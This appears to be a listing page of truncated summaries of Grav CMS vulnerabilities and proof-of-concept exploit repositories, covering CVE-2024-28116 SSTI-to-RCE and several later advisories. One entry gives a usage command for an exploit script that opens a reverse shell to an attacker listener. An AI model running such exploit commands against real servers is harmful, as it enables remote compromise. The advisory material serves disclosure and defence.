GenGravSSTIExploit

EN GenGravSSTIExploit is a PoC Python script that exploits an authenticated Server-Side Template Injection SSTI vulnerability in Grav CMS versions = 1.7.44 CVE-2024-28116. This vulnerability allows a user with editor permissions to execute OS commands on a remote server. Note : This script requir...

Grav-CMS-RCE-Authenticated

Grav CMS Remote Code Execution Authenticated - CVE-2024-28116 Info This code is an adaptation fromGraver Github repository with some improvements based on this video. Exploit against Grav CMS for versions below 1.7.45 based on SSTI + RCE vulnerabilities, labeled as CVE-2024-28116. This script...

Graver

Graver Description Proof of Concept script to exploit the authenticated SSTI+RCE in Grav CMS CVE-2024-28116. It creates a malicious RCE page on the server running the vulnerable Grav CMS. References: https://nvd.nist.gov/vuln/detail/CVE-2024-28116 Notes Since it is an authenticated vulnerability ...

CVE-2025-50286

Grav CMS v1.7.48 / Admin Plugin v1.10.48 - Authenticated RCE via Plugin Upload CVE-2025-50286 Grav CMS v1.7.48 with Admin Plugin v1.10.48 is vulnerable to Remote Code Execution RCE via the "Direct Install" plugin upload feature, allowing authenticated administrators to execute arbitrary PHP code ...

grav-cve-2024-28116

CVE-2024-28116 — SSTI with Sandbox Bypass in Grav CMS Analysis and Docker reproduction of CVE-2024-28116, a Server-Side Template Injection vulnerability with security sandbox bypass in Grav CMS versions up to and including 1.7.44, fixed in version 1.7.45. Reported by: Maurizio Siddu akabe1 CVSS...

CVE-2026-65008

CVE-2026-65008 — Grav CMS 2.0.7 Authenticated RCE Proof-of-concept for CVE-2026-65008 : authenticated remote code execution in Grav CMS via unrestricted calluserfuncarray in Blueprint::dynamicData. A user with admin.pages or api.pages.write can plant a malicious form frontmatter. The payload then...

CVE-2021-29440

CVE-2021-29440 Unsafe Twig processing of static pages leading to RCE in Grav CMS 1.7.10 Grav is a file based Web-platform. Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this...

CVE-2021-21425-RCE

this is my version i found a lot in internet but those are too bad USAGE root@kitploit: python3 exploit.py -u http://IP/grav-admin/ --lhost YOUR TUN0 IP --lport 4444 wait.. for 60sec you will get shell at your listener...

CVE-2026-72702

Grav CMS before 2.0.16 contains an origin validation bypass in the Uri::referrer and Pages::referrerRoute methods, which validate the Referer header using an unanchored string prefix match strstartswith$referrer, $base with no trailing delimiter. An attacker who controls a domain that begins with...

CVE-2026-72696

Grav CMS before 2.0.16 contains a symlink following vulnerability in Scheduler Job::createLockFile that allows local attackers to overwrite arbitrary files by pre-creating symlinks at predictable lock file paths in the world-writable temp directory. Attackers can place a symlink at the predictabl...

CVE-2026-72697

Grav CMS before 2.0.16 contains a path traversal vulnerability in the mediadirectory Twig function that fails to validate filesystem paths, allowing authenticated users to enumerate and access files outside intended scope. Attackers with page authoring privileges can supply arbitrary filesystem...

CVE-2026-72695

Grav before 2.0.16 contains a path traversal vulnerability in MediaUploadTrait::deleteFile that allows authenticated users with media management permissions to delete arbitrary files by supplying filenames with directory traversal sequences. The method validates only the basename portion of the...

CVE-2026-72698

Grav CMS before 2.0.16 fails to filter system, site, and theme configuration arrays in sandboxed Twig renders, allowing content editors to read sensitive configuration values. Attackers with page-content edit access can access raw configuration arrays including secrets like cache credentials by...

CVE-2026-72701

Grav CMS before 2.0.16 contains a timing vulnerability in Utils::verifyNonce that uses non-constant-time string comparison with the === operator instead of hashequals for CSRF nonce validation. Attackers can measure response timing differences to recover valid nonce values byte-by-byte through...

EUVD-2026-65219

Grav before 2.0.16 allows sandboxed Twig templates to access sensitive User fields through allow-listed offsetGet and offsetexists methods that lack field filtering. Attackers with page-edit permissions can call offsetGet on User objects to extract hashed passwords and 2FA secrets, enabling offli...

CVE-2026-72702 Grav CMS before 2.0.16 Origin Validation Bypass via Referer

Grav CMS before 2.0.16 contains an origin validation bypass in the Uri::referrer and Pages::referrerRoute methods, which validate the Referer header using an unanchored string prefix match strstartswith$referrer, $base with no trailing delimiter. An attacker who controls a domain that begins with...

EUVD-2026-65216

Grav CMS before 2.0.16 contains an origin validation bypass in the Uri::referrer and Pages::referrerRoute methods, which validate the Referer header using an unanchored string prefix match strstartswith$referrer, $base with no trailing delimiter. An attacker who controls a domain that begins with...

CVE-2026-72702

Grav CMS versions before 2.0.16 contain an origin validation bypass in the Uri::referrer() and Pages::referrerRoute() methods. The root cause is an unanchored string prefix match (str_starts_with($referrer, $base)) with no trailing delimiter, meaning an attacker who controls a domain that begins ...

CVE-2026-72702 Grav CMS before 2.0.16 Origin Validation Bypass via Referer

Grav CMS before 2.0.16 contains an origin validation bypass in the Uri::referrer and Pages::referrerRoute methods, which validate the Referer header using an unanchored string prefix match strstartswith$referrer, $base with no trailing delimiter. An attacker who controls a domain that begins with...

CVE-2026-72701

Grav CMS before 2.0.16 is affected by a timing side-channel vulnerability in Utils::verifyNonce(). The function uses a non-constant-time string comparison (the === operator) instead of PHP's hash_equals() when validating CSRF nonces . An attacker can measure response-time differences across multi...